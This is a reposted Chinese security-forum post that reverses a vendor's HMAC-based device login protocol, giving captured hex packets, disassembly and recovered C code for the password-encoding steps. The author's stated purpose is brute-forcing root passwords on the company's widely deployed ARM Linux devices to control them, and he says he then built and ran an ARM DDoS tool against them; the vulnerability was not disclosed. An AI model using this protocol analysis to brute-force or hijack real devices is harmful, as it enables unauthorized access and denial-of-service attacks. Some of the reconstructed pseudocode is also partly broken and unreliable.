琳达 版主
|
5#
大 中
小 发表于 2015-2-28 21:57 显示全部帖子
逆向HMAC认证协议写爆破程序+写ARM DDOS+[求职]
标 题: 【原创】逆向HMAC认证协议写爆破程序+写ARM DDOS+[求职]
作 者: 地狱怪客
时 间: 2014-04-22,23:28:45
链 接: http://bbs.pediy.com/showthread.php?t=186870
-------------------------------------------------------------------------------------------------
本人小菜一枚,若有错误请大神们指正。
这是一个某上市公司XXX的登陆密码验证的程序,其设备覆盖全球,分析协议后可对其爆破密码....爆破root密码后可以...各种。。如果您已经知道这漏洞请希望您不要爆料..提交过2次漏洞都被无视了以后也不想再提交了。尤其是阿里某某竟然先修复了漏洞然后回复没漏洞,我都惊呆了 幸好我做了个录像作纪念,还有一个公司聊天套漏洞的。。。
了解HMAC 百度百科解释[理论这东西,我基础不好 只看理论我比较头大]:
HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code),HMAC运算利用哈希算法,以一个密钥和一个消息为输入,生成一个消息摘要作为输出。
算法表示
算法公式 : HMAC(K,M)=H(K⊕opad∣H(K⊕ipad∣M))
H 代表所采用的HASH算法(如SHA-256)
K 代表认证密码
Ko 代表HASH算法的密文
M 代表一个消息输入
B 代表H中所处理的块大小,这个大小是处理块大小,而不是输出hash的大小
如,SHA-1和SHA-256 B = 64
SHA-384和SHA-512 B = 128
L 表示hash的大小
Opad 用0x5c重复B次
Ipad 用0x36重复B次
Apad 用0x878FE1F3重复(L/4)次
认证流程
(1) 先由客户端向服务器发出一个验证请求。
(2) 服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。
(3) 客户端将收到的随机数提供给ePass,由ePass使用该随机数与存储在ePass中的密钥进行HMAC-MD5运算并得到一个结果作为认证证据传给服务器(此为响应)。
(4) 与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行HMAC-MD5运算,如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户
------------------------------------------------------------------
一、抓取HMAC认证协议过程的数据包代码:
1.发送IP:端口 一段16进制数据 size:84 = 0x54 [小注:1]74 73 58 72 63 73 58 59 73 39 = username 62 62 58 63 73 58 63 74 73 74 = password00 00 00 54 5A 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 74 73 58 72 63 73 58 59 73 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 62 58 63 73 58 63 74 73 74 00 00 00 00 00 002.若server回复以下16进制数据 表示:是HMAC认证协议 第4位==4C固定00 00 00 4C AF 0F 00 00 00 00 00 64 04 00 28 C1 3.接收加密数据 [小注:2]NjdlMzk1NmM0NGJhOTQzMTcwMjZhNjhiNzgzOGRmZDM=................4E 6A 64 6C 4D 7A 6B 31 4E 6D 4D 30 4E 47 4A 68 4F 54 51 7A 4D 54 63 77 4D 6A 5A 68 4E 6A 68 69 4E 7A 67 7A 4F 47 52 6D 5A 44 4D 3D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4.发送[账号][密码]加密数据 [小注:3]00 00 00 54 63 00 00 00 00 00 00 00 00 01 00 00 04 00 28 C1 00 00 00 00 08 01 A8 C0 B8 70 F4 28 7B 6C 00 00 BD 01 BA 46 68 E9 C2 AE 75 5F 81 57 E5 0F C9 DC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3D 55 46 FD B2 FE 10 A5 76 10 BD FA 4B DA 96 B15.接收数据完成验证过程加粗为固定标志代码01 04==密码正确 03 04==密码错误00 00 00 6C DA 0C 00 00 00 00 00 01 04 00 28 C1 00 00 00 6C F0 00 00 00 00 00 00 03 04 00 28 C1
这就是我逆向的这个程序的整个HMAC认证协议流程。
------------------------------------------------------------------
二、分析验证程序,肢解各个加密功能模块。
/////////////////////////////////////////////////////////////////////代码:
1.逆向第1个账号密码加密模块 -- [见小注:1]这个模块不是很难 直接用IDA F5功能就可以逆向出C源码但是核心算法处有问题需要手动修正几个地方//------------------------------------//10084B60 /$ 8B5424 04 mov edx,dword ptr ss:[esp+0x4]10084B64 |. 55 push ebp10084B65 |. 56 push esi10084B66 |. 57 push edi10084B67 |. 33ED xor ebp,ebp10084B69 |. 33FF xor edi,edi10084B6B |. 85D2 test edx,edx10084B6D |. 0F84 9E000000 je XXXXXXXX.10084C1110084B73 |. 8B7424 14 mov esi,dword ptr ss:[esp+0x14]10084B77 |. 85F6 test esi,esi10084B79 |. 0F84 92000000 je XXXXXXXX.10084C1110084B7F |. 8B4424 18 mov eax,dword ptr ss:[esp+0x18]10084B83 |. 85C0 test eax,eax10084B85 |. 0F84 86000000 je XXXXXXXX.10084C1110084B8B |. 7E 79 jle short XXXXXXXX.10084C0610084B8D |. 53 push ebx10084B8E |> 8A0A /mov cl,byte ptr ds:[edx]10084B90 |. 80F9 0D |cmp cl,0xD10084B93 |. 74 6A |je short XXXXXXXX.10084BFF10084B95 |. 80F9 0A |cmp cl,0xA10084B98 |. 74 65 |je short XXXXXXXX.10084BFF10084B9A |. 0FBEC9 |movsx ecx,cl10084B9D |. 0FBE5A 01 |movsx ebx,byte ptr ds:[edx+0x1]10084BA1 |. 0FBE89 9C4A0A>|movsx ecx,byte ptr ds:[ecx+0x100A4A9C]10084BA8 |. C1E1 12 |shl ecx,0x1210084BAB |. 42 |inc edx10084BAC |. 0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BB3 |. C1E3 0C |shl ebx,0xC10084BB6 |. 03CB |add ecx,ebx10084BB8 |. 42 |inc edx10084BB9 |. 8BD9 |mov ebx,ecx10084BBB |. C1FB 10 |sar ebx,0x1010084BBE |. 881E |mov byte ptr ds:[esi],bl10084BC0 |. 8A1A |mov bl,byte ptr ds:[edx]10084BC2 |. 46 |inc esi10084BC3 |. 47 |inc edi10084BC4 |. 80FB 3D |cmp bl,0x3D10084BC7 |. 74 31 |je short XXXXXXXX.10084BFA10084BC9 |. 0FBEDB |movsx ebx,bl10084BCC |. 0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BD3 |. C1E3 06 |shl ebx,0x610084BD6 |. 03CB |add ecx,ebx10084BD8 |. 42 |inc edx10084BD9 |. 8BD9 |mov ebx,ecx10084BDB |. C1FB 08 |sar ebx,0x810084BDE |. 881E |mov byte ptr ds:[esi],bl10084BE0 |. 8A1A |mov bl,byte ptr ds:[edx]10084BE2 |. 46 |inc esi10084BE3 |. 47 |inc edi10084BE4 |. 80FB 3D |cmp bl,0x3D10084BE7 |. 74 11 |je short XXXXXXXX.10084BFA10084BE9 |. 0FBEDB |movsx ebx,bl10084BEC |. 0FBE9B 9C4A0A>|movsx ebx,byte ptr ds:[ebx+0x100A4A9C]10084BF3 |. 03CB |add ecx,ebx10084BF5 |. 42 |inc edx10084BF6 |. 880E |mov byte ptr ds:[esi],cl10084BF8 |. 46 |inc esi10084BF9 |. 47 |inc edi10084BFA |> 83C5 04 |add ebp,0x410084BFD |. EB 02 |jmp short XXXXXXXX.10084C0110084BFF |> 42 |inc edx10084C00 |. 45 |inc ebp10084C01 |> 3BE8 |cmp ebp,eax10084C03 |.^ 7C 89 \jl short XXXXXXXX.10084B8E10084C05 |. 5B pop ebx10084C06 |> 8BC7 mov eax,edi10084C08 |. C606 00 mov byte ptr ds:[esi],0x010084C0B |. 5F pop edi10084C0C |. 5E pop esi10084C0D |. 5D pop ebp10084C0E |. C2 0C00 retn 0xC10084C11 |> 5F pop edi10084C12 |. 5E pop esi10084C13 |. 83C8 FF or eax,-0x110084C16 |. 5D pop ebp10084C17 \. C2 0C00 retn 0xC#include "stdafx.h"#include <stdio.h>#include <stdlib.h>#include <windows.h>int sub_100838E0(char* a1, char *Dest, int a3){ int v3; // ecx@1 signed int v5; // eax@4 signed int v6; // edx@6 char v7; // al@7 char v8; // al@8 int ch; v3 = 0; *Dest = 0; if ( !a3 ) return -1; if ( a3 > 0 ) { v5 = 1; do { ch = a1[v5-1]; ch = ch *v5;//v5 * (unsigned char)(a1 + v5 - 1);; ch = ch ^v5;//v5 ^ v5 * (unsigned char)(a1 + v5 - 1); v3 += ch; ++v5; } while ( v5 - 1 < a3 ); } sprintf(Dest, "%u", 1751873395 * v3); v6 = 0; if ( (signed int)(strlen(Dest) - 1) > 0 ) { while ( 1 ) { v7 = Dest[v6]; if ( v7 < 51 ) break; if ( v7 < 53 ) { v8 = v7 + 47; goto LABEL_15; } if ( v7 < 55 ) { v8 = v7 + 62; goto LABEL_15; } if ( v7 < 57 ) { v8 = v7 + 33; goto LABEL_15; }LABEL_16: ++v6; if ( v6 >= (signed int)(strlen(Dest) ) ) return 0; } v8 = v7 + 66;LABEL_15: Dest[v6] = v8; goto LABEL_16; } return 0;}int main(int argc, char* argv[]){ char abb[100] ={"0"}; sub_100838E0("admin",abb,5); printf("admin¼óÃü = %s\n", abb); sub_100838E0("12345",abb,5); printf("12345¼óÃü = %s\n", abb); return 0;}//------------------------------------//
运行效果:
代码:
2.逆向第2个账号密码加密模块 -- [见理论]Opad 用0x5c重复B次 Ipad 用0x36重复B次//------------------------------------//100848E0 8A8C04 C4000000 mov cl, byte ptr [esp+eax+0xC4] ; keys100848E7 8A5C04 18 mov bl, byte ptr [esp+eax+0x18] ; keys100848EB 80F1 36 xor cl, 0x36 ; keys ^ 0x36100848EE 80F3 5C xor bl, 0x5C ; keys ^ 0x5C100848F1 888C04 C4000000 mov byte ptr [esp+eax+0xC4], cl ; rekey = keys100848F8 885C04 18 mov byte ptr [esp+eax+0x18], bl100848FC 40 inc eax100848FD 83F8 40 cmp eax, 0x40 ; while(eax < 0x40)10084900 ^ 7C DE jl short 100848E0//------------------------------------//3.逆向第3个账号密码加密模块//------------------------------------//10084B8D 53 push ebx10084B8E 8A0A mov cl, byte ptr [edx] ; cl = ascii_keys10084B90 80F9 0D cmp cl, 0xD ; if(cl == 0x0D) then10084B93 74 6A je short 10084BFF ; jmp xxxx10084B95 80F9 0A cmp cl, 0xA ; if(cl == 0x0A) then10084B98 74 65 je short 10084BFF ; jmp xxxx10084B9A 0FBEC9 movsx ecx, cl ; ECX = cl10084B9D 0FBE5A 01 movsx ebx, byte ptr [edx+0x1] ; EBX = ascii_keys[i+2]10084BA1 0FBE89 9C4A0A10 movsx ecx, byte ptr [ecx+0x100A4A9C] ; EBX = ASCII加密表[ecx]10084BA8 C1E1 12 shl ecx, 0x12 ; ECX <<= 0X1210084BAB 42 inc edx ; * ascii_keys++; ASCII数组从左边去掉一个10084BAC 0FBE9B 9C4A0A10 movsx ebx, byte ptr [ebx+0x100A4A9C] ; EBX = ASCII加密表[ebx]10084BB3 C1E3 0C shl ebx, 0xC ; EBX <<= 0x0C10084BB6 03CB add ecx, ebx ; ECX += EBX10084BB8 42 inc edx ; * ascii_keys++; ASCII数组从左边去掉一个10084BB9 8BD9 mov ebx, ecx ; EBX = ECX10084BBB C1FB 10 sar ebx, 0x10 ; EBX >>= 0x1010084BBE 881E mov byte ptr [esi], bl ; is_out = ("%c", EBX)10084BC0 8A1A mov bl, byte ptr [edx] ; EBX = ascii_keys10084BC2 46 inc esi10084BC3 47 inc edi10084BC4 80FB 3D cmp bl, 0x3D ; if(EBX == 0x3D) then10084BC7 74 31 je short 10084BFA ; jmp xxxx10084BC9 0FBEDB movsx ebx, bl10084BCC 0FBE9B 9C4A0A10 movsx ebx, byte ptr [ebx+0x100A4A9C] ; EBX = ASCII加密表[ebx]10084BD3 C1E3 06 shl ebx, 0x6 ; EBX <<= 0x610084BD6 03CB add ecx, ebx ; ECX += EBX10084BD8 42 inc edx ; * ascii_keys++; ASCII数组从左边去掉一个10084BD9 8BD9 mov ebx, ecx ; EBX = ECX10084BDB C1FB 08 sar ebx, 0x8 ; EBX >>= 0x810084BDE 881E mov byte ptr [esi], bl ; is_out = ("%c", bl)10084BE0 8A1A mov bl, byte ptr [edx] ; bl = ascii_keys10084BE2 46 inc esi10084BE3 47 inc edi10084BE4 80FB 3D cmp bl, 0x3D ; if(bl == 0x3D) then10084BE7 74 11 je short 10084BFA ; jmp xxxx10084BE9 0FBEDB movsx ebx, bl ; EBX = bl10084BEC 0FBE9B 9C4A0A10 movsx ebx, byte ptr [ebx+0x100A4A9C] ; EBX = ASCII加密表[ebx]10084BF3 03CB add ecx, ebx ; ECX += EBX10084BF5 42 inc edx ; * ascii_keys++; ASCII数组从左边去掉一个10084BF6 880E mov byte ptr [esi], cl ; is_out = ("%c", cl)10084BF8 46 inc esi10084BF9 47 inc edi10084BFA 83C5 04 add ebp, 0x4 ; ebp += 0x410084BFD EB 02 jmp short 10084C0110084BFF 42 inc edx10084C00 45 inc ebp10084C01 3BE8 cmp ebp, eax ; if(EBP < EAX=0x3C=60) then10084C03 ^ 7C 89 jl short 10084B8E ; jmp 回去继续循环~然后对反汇编写出C语言大体源码加密表 :100A4A9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................100A4AAC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................100A4ABC 00 00 00 00 00 00 00 00 00 00 00 3E 00 00 00 3F ...........>...?100A4ACC 34 35 36 37 38 39 3A 3B 3C 3D 00 00 00 00 00 00 456789:;<=......100A4ADC 00 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E ......100A4AEC 0F 10 11 12 13 14 15 16 17 18 19 00 00 00 00 00 .....100A4AFC 00 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 . !"#$%&'(100A4B0C 29 2A 2B 2C 2D 2E 2F 30 31 32 33 00 00 00 00 00 )*+,-./0123.....for每次取4位字符 strlen(随机keys) = 44char ascii_keys[] = {"MDBkNDQ5NTdmYmU5YjZiNjE5OTQxZWE0MTNlODA5OGE="};char is_out[100]={0};int str1,str2,str3,str4;for (int i=0; 0x3C>i; i+=4){ str1 = ascii_keys; if(0x0D == str1 || 0x0A == str1) { break; } str2 = ascii_keys[i+1]; str3 = 加密表[str1]; str2 = 加密表[str2]; str2 <<= 0x0C; str1 += str3; str3 <<= 0x12; str3 = str1; str3 >>= 0x10; strcat(is_out, str3); str2 = ascii_keys[i+3]; if(0x3D == str2) { break; } str2 = 加密表[str2]; str2 <<= 0x6; str1 += str2; str2 = str1; str2 >>= 0x8; strcat(is_out, atox(str2) & 0xFF); str2 = ascii_keys[i+4]; if(0x3D == str2) { break; } str2 = 加密表[str2]; str1 += str2; strcat(is_out, atox(str1) & 0xFF);}//------------------------------------//4.逆向第4个账号密码加密模块 -- 这个模块是变异MD5 在IDA里面F5修改一下就OK 代码实在太多太多 也曾经有人分析过类似的:武林外传登陆数据包加密算法分析[http://bbs.pediy.com/showthread.php?t=101948]//------------------------------------//
//------------------------------------//
5.接收加密数据[见小注:2]经过如上加密数据后,发送[账号][密码]加密数据[见小注:3]
6.接收数据完成验证过程,判断账号密码是否验证成功。
经过如上步骤,就完成爆破程序了,经过爆破root密码后进而可以控制设备了。。设备是ARM Linux的。以前买过ARM6410学过点..根据以前写的windows DDOS 写了个 Linux DDOS 然后交叉编译成ARM DDOS 运行测试了下还行。。。只是用于安全测试!!然后都卸载了
不要抱怨自己运气不好,机会不多,我觉得:机会、运气是自己创造的!
-------------------------------------------------------------------------------------------------
原文:http://bbs.pediy.com/showthread.php?t=186870
|